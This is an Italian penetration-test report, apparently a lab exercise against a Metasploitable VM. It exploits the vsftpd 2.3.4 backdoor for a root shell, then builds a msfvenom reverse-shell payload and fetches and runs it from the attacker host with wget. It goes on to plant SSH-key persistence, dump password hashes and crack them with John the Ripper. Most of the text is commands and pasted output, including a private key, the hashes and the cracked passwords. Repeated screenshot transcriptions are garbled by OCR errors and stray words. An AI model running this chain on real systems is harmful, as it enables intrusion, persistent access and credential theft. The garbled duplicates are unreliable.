

In questa relazione, descriverò i passi che ho seguito per compromettere un sistema target utilizzando una vulnerabilità nota nel server vsftpd versione 2.3.4. Successivamente, spiegherò come ho mantenuto l'accesso al sistema compromesso e come ho estratto le credenziali degli utenti e dei servizi presenti sulla macchina.

Sfruttamento della Vulnerabilità vsftpd 2.3.4 Backdoor Command Execution

- Metasploit Framework

Avvio di Metasploit:

```
msfconsole
```

Ricerca delle exploit per vsftpd:

```
search vsftpd
```

Risultato: exploit/unix/ftp/vsftpd_234_backdoor

Selezione dell'exploit:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Impostazione del target:

```
set RHOSTS 192.168.221.131
```

Esecuzione dell'exploit:

```
run
```

Impatto

L'esecuzione dell'exploit ha fornito una sessione shell come utente root (uid=0(root) gid=0(root)) sulla macchina target, permettendo il pieno controllo del servizio compromesso.

Mantenimento dell'Accesso

Obiettivo

L'obiettivo di questa fase è stato quello di stabilire un accesso persistente alla macchina target, anche in caso di riavvii del sistema o interruzioni della connessione.

Metodologia

La metodologia prevedeva l'aggiornamento della sessione shell iniziale a una sessione Meterpreter più stabile e ricca di funzionalità. Successivamente, è stata mantenuta la persistenza tramite una chiave SSH utilizzando un modulo specifico di Metasploit.

Tecniche Utilizzate

Aggiornamento alla Sessione Meterpreter

Descrizione: La sessione shell iniziale è stata aggiornata a una sessione Meterpreter usando un payload personalizzato.

Strumenti: Metasploit, msfvenom

Generazione del payload:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.221.128 LPORT=4444 -f elf > myscript.elf
```

Hosting del payload sulla macchina attaccante:

```
bash  
python -m http.server 80
```

Download ed esecuzione sul target dalla sessione vsftpd :

```
wget http://192.168.221.128/myscript.elf; chmod +x myscript.elf; ./myscript.elf
```

Persistenza della Chiave SSH

Descrizione: Stabilire la persistenza della chiave SSH per mantenere l'accesso al sistema target.

Strumenti: Modulo `linux/manage/sshkey_persistence` di Metasploit

Preparazione del listener Meterpreter:

```
use multi/handler  
set LHOST 192.168.221.128  
set LPORT 4444  
run
```

Messa in background della sessione Meterpreter:

Ctrl Z

Configurazione della persistenza della chiave SSH:

```
use linux/manage/sshkey_persistence  
set SESSION 1  
set USERNAME <userWeFirstCompromised>  
set VERBOSE true  
run
```

L'uso del modulo `sshkey_persistence` ha garantito l'accesso continuo al sistema target tramite SSH, anche se la sessione Meterpreter iniziale venisse persa o la connessione dell'exploit vsftpd venisse interrotta.

Estrazione delle Credenziali degli Utenti e dei Servizi

Messa in background della sessione Meterpreter recente:

Ctrl Z

Utilizzo del modulo `linux hashdump` in Metasploit:

```
use post/linux/gather/hashdump  
set SESSION 1  
run
```

Cracking delle Credenziali

Cracking delle credenziali con John The Ripper:

```
john /path/to/.msf4/loot/2024...linux.hashes_270143.txt
```

```

Trash
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd
File Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor or Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
putty.exe
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
wireshark
[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43445 → 192.168.1.101:6200) at 2024-06-01 18:26:13 +0200
webshell.sh
id
uid=0(root) gid=0(root)
wget http://192.168.1.100:8080/forever.elf
--22:27:07-- http://192.168.1.100:8080/forever.elf
backdoor.php => `forever.elf.2'
Connecting to 192.168.1.100:8080 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 207 [application/octet-stream]

OK
100% 29.29 KB/s
12:27:07 (29.29 KB/s) - `forever.elf.2' saved [207/207]
chmod +x forever.elf
./forever.elf

```

```

File Actions Edit View Help
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe90:b13c
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > sessions
Usage: sessions <id>

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i <session id>
meterpreter >
Background session 1? [y/N]
msf6 exploit(multi/handler) > sessions

Active sessions
Id Name Type Information Connection
-- -- --
1 meterpreter x86/linux root @ metasploitable.localdom 192.168.1.100:4444 → 192.168.1.101:50024 (192.168.1.101)

msf6 exploit(multi/handler) > use linux/manage/sshkey_persistence
msf6 post(linux/manage/sshkey_persistence) > set SESSION 1
SESSION => 1
msf6 post(linux/manage/sshkey_persistence) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 post(linux/manage/sshkey_persistence) > set VERBOSE true
VERBOSE => true
msf6 post(linux/manage/sshkey_persistence) > run

[*] Checking SSH Permissions
[+] Pubkey set to yes
[*] Authorized Keys File: .ssh/authorized_keys
[*] Added User SSH Path: /home/msfadmin/.ssh
[+] Storing new private key as /home/kali/.msf4/loot/20240601183752_default_192.168.1.101_id_rsa_741734.txt
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[+] Key Added
[!] No active DB -- Credential data will not be saved!
[*] Post module execution completed
msf6 post(linux/manage/sshkey_persistence) > █

```

Kali Linux 4.1 [Running]

```
kali@kali: ~
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd
File Matching Modules
#  Name
0 auxiliary/dos/ftp/vsftpd_232 Disclosure Date Rank Check Description
  2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor or Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
wreshark
[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43445 → 192.168.1.101:6200) at 2024-06-01 18:26:13 +0200

id
uid=0(root) gid=0(root)
wget http://192.168.1.100:8080/forever.elf
--22:27:07-- http://192.168.1.100:8080/forever.elf
backdoor.php    => `forever.elf.2'
Connecting to 192.168.1.100:8080 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 207 [application/octet-stream]

  0K                               100%  29.29 KB/s

12:27:07 (29.29 KB/s) - `forever.elf.2' saved [207/207]

chmod +x forever.elf
./forever.elf
```

```
kali@kali: ~
File Actions Edit View Help
[!] No active DB -- Credential data will not be saved!
[*] Post module execution completed
msf6 post(linux/manage/sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /home/kali/.msf4/loot/
key_path => /home/kali/.msf4/loot/
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set username msfadmin
username => msfadmin
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run
[*] 192.168.1.101:22 SSH - Testing Cleartext Keys
[*] 192.168.1.101:22 - Testing 2 keys from /home/kali/.msf4/loot
[+] 192.168.1.101:22 - Success: 'msfadmin':-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEa3RXhpYl6B8YfGw/0PkpxLXQrtKFCon0mlqwlJwpsUz189m9
bQD3y8y8nm2z8yWLNI5idLbYvnVlE8uCaL8mPNihafjU87lI4kD4hUgwhG0jZAY
rtfkGKfTb8hZQvSLeKqowHbNhtpc/mqgNk4vF99ebPzfIFNxBtA6/gh0XYWQny
vsnEtSQ2q+KF7MDHTMZ1zqP7f9Cvh0Mn55tD5TyHpaUc9VspAUgD
vcxA48Irm36pIaBY6aWq5gYfaSJKW9CILk96slmfT0dpw+9fMrQ+u4HebMSgW
IS5ugxlTIImgLiSg7ojhDTrtWZqF6vkfNNelyIDAQABoIBAEQkwNard5l9z4if
2kB41XQ9GLf6fHdl/1pg5XjYyWEEv2G0E1bNvZLrgBe06IpBQC/Fvm0LDrnLq8n2
KDPv/WOHWQzsZPFBQrP/084txz60JmAuqlPF3BzRJlr2EgnDhw9E+Avef4yoDCIn
yokMks0CQzPj60CeuiFxpQkWhXo9LPmzA3NbZq5Jc3lb2oQpU7APVPK80RhS
0C+Nhg3QEdM14pR12VytXVNtrld5D5D7Bc1U24k70IFo7np8iRsxMsTj/+E2L
5jGBHTs/2iD4pkPRIDYeo19pBqYf0NDi1HklxrX4ddQ68RqY2XsLDLdykprMhN
hR147AEcgyEA//kXi0f/eGT1F/Mvi0FAzdBkfKyBfesf9/mrbM2+D9+AV/ANz
/vE91YYn8DNKka+AgA:9GdwCLXYLwPwa2ucAXS0APYtMxE6fyuoW6K9clBs8Ee
feIyQswdGfArtXkuUZtmjeW/bg390xtMy1BdM4896akrViym18LmCMcgYE3RvZ
FLOkrr891xNevuWSlrcd52+jQc01ete0/gDesMsazvKMM/87z1wYCxIAprlkjc1N
TQt/BcTo0I17seQfx1EmNonhG4ST5KY62yioC3DlimHscrpb7yiTwixhwfKj0iff
ziQjz+iElDkvWIQ1Xe2aV39+pM002r3cr8cEcgYAlSdKw1oQyDMlcI1scfif5
fs/QHKK8BzR1g2rJxdE4fdIhbl0JaizevPdiMFR80Ao6odBPUiHX/2WLz66P+
kgeA4spSFYqSFw7I0lcKpzrRAUdz8x0JAYmbkEC3xGF6VqhT8hjruEFhu+ImwSR3
vbZGc4jeAly2CKM-Wt79wKbgB8etBb9ocgBpkWa3Flx7NeeJxtTz3W7dD9N+Lnn
W/B2Jaf64DG450D0T5D/5d3sHdk1eRqIe/dTwDLYoV/HgsZj08SubCV0Fr2KoJD
ffq00UBg1eXhCLut5U9jv76Uca08HtMNBSKOGc7jPxhWQ0xgwu/DMs411+06COBZ
XY4BAoGBAP9qrLem7nRib+R2VEodLN8P7IgvkBhrLtpS1N4E2WwN86EG5HYdtj4c
OB5vNkt+IomckePFIG9Gq0ldNSsU/cjWjATNDeGuuq/kJTcc/pnsTurdJTsNme/
p8h3tOawPwbk3XyK3M9elf2PVmt9iZzRkzER0FDsN5cM5djkAemx
-----END RSA PRIVATE KEY-----
' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux
metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] SSH session 2 opened (192.168.1.100:33611 → 192.168.1.101:22) at 2024-06-01 18:42:41 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > 
```

```

Trash
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd
File Matching Modules
#  Name                               Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd_232        2011-02-03   normal Yes   VSFTPD 2.3.2 Denial
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03   excellent No    VSFTPD v2.3.4 Backdoor or Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
wreshark
[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43445 → 192.168.1.101:6200) at 2024-06-01 18:26:
webshell
id
uid=0(root) gid=0(root)
wget http://192.168.1.100:8080/forever.elf
--22:27:07-- http://192.168.1.100:8080/forever.elf
backdoor.php      ⇒ `forever.elf.2'
Connecting to 192.168.1.100:8080 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 207 [application/octet-stream]
      0K          100% 29.29 KB/s
12:27:07 (29.29 KB/s) - `forever.elf.2' saved [207/207]

chmod +x forever.elf
./forever.elf

```

```

File Actions Edit View Help
rtfkkGKFthT8hZQvSLeKqowHbNhp/ /mgnk4Vf99ebPzFIFNXBtA6/gh0XYWQNY
vsnEtS2Q2+KF7MDHTMZ1ZqP7f9CvhAqlNrPyT8q0Mn6S5tD5TyHpAUc9VsPAugD
vcxA48Irm36pIaBY6aWq5gPkxYfaSJkW9C1lk96s1fmT0dpw+9fMrQ+u4HebMsqW
IS5ugxlTIImgLiSg7ojhDTrtWZ3qF6vkfNNelYwIDAQABoIBAEkwnArd5l9z4if
2kB41XQ9GLf6FhdI/1pg5XjYyWEv2G0E1bNvLrgBe061pBQC/Fvm0LDxNlq8n2
KDPv/WOHWQsZPFBQrP/084tzx60JmAUqlPF3SbRJ1r2EgnDhw9E+Avef4YodCln
yokMks0C05zPj60CeuiFxpkwahXo9LPmzA3NbZQzC5j3lb2OqpU7APVK80RhS
0C+NHg3QEdMi4I6pRI2VYtXVNtrld5D5D7Bc1U24k70IFo7np8iRsxMsTj+E2ll
5jGBHTs/2iD4pkPRIDYeo19pvBqYf0NDi1Hk1xrX4ddQ68RqY2XsLDLdykprMhN
hR147AEcgYEA//kxi06f/eGtiff/MVi0FAZdBKfuKYBfesf9/mrbM2+D9+AV/AN
/vE91Yn8DNKa+Aga+9GdwCQLXYWLwPwa2ucAXS0APYtMxE6fYuoW6K9clBs8Fe
feIy0QswdGfArtXkUZTmjEW/bg390XtMy1BdM4896akrVFiyim8LmCMcgYEA3RvZ
FL0kr891xNevuWSLRcd52+JQc01ete0/gDesMsazvKMM/87zlwYCxApplkjic1N
TQt/8To0I17seQfxEmNONhG4S5KY62YiOC3DlImHScrbp7YiTwixhfkj0iff
ziZqj/cElDvkW1Q1Xe2a3v9+pM4002r3cr8CegYAlSDKwloQyDMlcIlsfcif5
fs/QHNKB8zR1g2rJxdE4dfdIhbloJAaizevPDIIMFR80AoX6odBPUiHX/2WLz6Gp+
kgeA4spSFYqSFw7I0!lcKpzrRAUdz8x8JAYmbkEc3xGf6VqhTBhjruEFhu+IMwSR3
vbZGcjeYAlY2CKM+Wt79wKbgB8etEb9ocgPkbWa3FLx7NeeJxtTz3W7d0N9+LnN
W/B2JafK64DGA50D0T5D/5d3sHdk1eRqIe/dTwDLYoV/HgsZj08SUbCV0Fr2KoJD
ffq0QUBg1XhClut5U9jv76Uca08HtMNBSKOGC7jPxhWQ0xgwu/DMs411+06COBZ
XY4BAoGAP9qrLem7nRib+R2VE0dLN8P7IgvKBhrLtpS1N4E2WwN86EG5HYdtj4c
OB5vNk+IomckePF1G9Gq0lDNSu/cjWjATNDeGuuq/kJttc/pnsTurdJTsneMe/
p8h3t0aWpWbk3XyK3M9e1f2PVMt9iZZRkzER0FDsN5cM5djkAemx
——END RSA PRIVATE KEY——
' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux
metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] SSH session 2 opened (192.168.1.100:33611 → 192.168.1.101:22) at 2024-06-01 18:42:41 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > use post/linux/gather/hashdump
msf6 post_linux/gather/hashdump > set SESSION 1
SESSION => 1
msf6 post_linux/gather/hashdump > run
[+] root:$1$avpfBJ1$x0z8w5UF9IV..DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPot$Miyc3Up0zQJqz4s5wFd9l0:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHndUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.xMgQzUu05pAoUvfJhfcYe:/108:117:PostgreSQL administrator,,,,:/var/lib/postgres/bin/bash
[+] user:$1$HESu9xrHsk.o3G93DGoxXiQKKPmUgZ0:1001:1001:just a user,111,,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$76xEldupr50hp6cjZBu//:1002:1002,,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /home/kali/.msf4/loot/20240601184358_default_192.168.1.101_linux.hash
es_808372.txt
[*] Post module execution completed
msf6 post_linux/gather/hashdump > 

```

Trash File Actions Edit View Help
Metasploit Documentation: <https://docs.metasploit.com/>
msf6 > search vsftpd

File Matching Modules

#	Name	Disclosure Date
0	auxiliary/dos/ftp/ vsftpd_232	2011-02-03
1	exploit/unix/ftp/ vsftpd_234_backdoor	2011-07-03

Home Service or Command Execution

Interact with a module by name or index. For example info 1, user 34_backdoor

putty.exe

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

wireshark
[+] 192.168.1.101:21 - Banner: 220 (vsFTPD 2.3.4)
[+] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[!] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43445 → 192.168.1.101:6200) at 2024-06-01 18:26:
13!#0200

id
uid=0(root) gid=0(root)
wget http://192.168.1.100:8080/forever.elf
--12:27:07-- http://192.168.1.100:8080/forever.elf
backdoor.php → `forever.elf.2'
Connecting to 192.168.1.100:8080 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 207 [application/octet-stream]
OK
12:27:07 (29.29 KB/s) - `forever.elf.2' saved [207/207]

chmod +x forever.elf
./forever.elf

File Actions Edit View Help
(kali㉿kali)-[~]
\$ john /home/kali/.msf4/loot/20240601184358_default_192.168.1.101_linux.hashes_808372.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead.
Using default input_encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) \$1\$ (and variants) [MD5 128/128 AVX 4x3])
Proceeding with single_rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user (user)
postgres (postgres)
Warning: Only 4 candidates buffered for the current salt, minimum 12 needed for performance
msfadmin (msfadmin)
service (service)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789 (klog)
batman (sys)
Proceeding with incremental:ASCII

[*] msf6 post(linux/gather/hashdump) > SESSION => 1
[*] msf6 post(linux/gather/hashdump) > run

[+] root:\$1\$avpfBJ1\$x0z8w5UF91v./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:\$1\$UX6BP0t\$Miyc3UpoZQjqz4sSwFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:\$1\$f2ZVMS4K\$R9XKi.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:\$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:\$1\$Rw35ik.x\$MgqgZUuO5pAoUvfJhfYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:\$1\$HSu9xrH\$K.o3G93DGoXiIiQKKPmUgZ0:1001:1001:just a user,111,,,:/home/user:/bin/bash
[+] service:\$1\$KR3ue7JZ\$7GxELDupr50hp6cjZ3B0:1002:1002,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /home/kali/.msf4/loot/20240601184358_default_192.168.1.101_linux.hashes_808372.txt
[*] Post module execution completed
msf6 post(linux/gather/hashdump) >

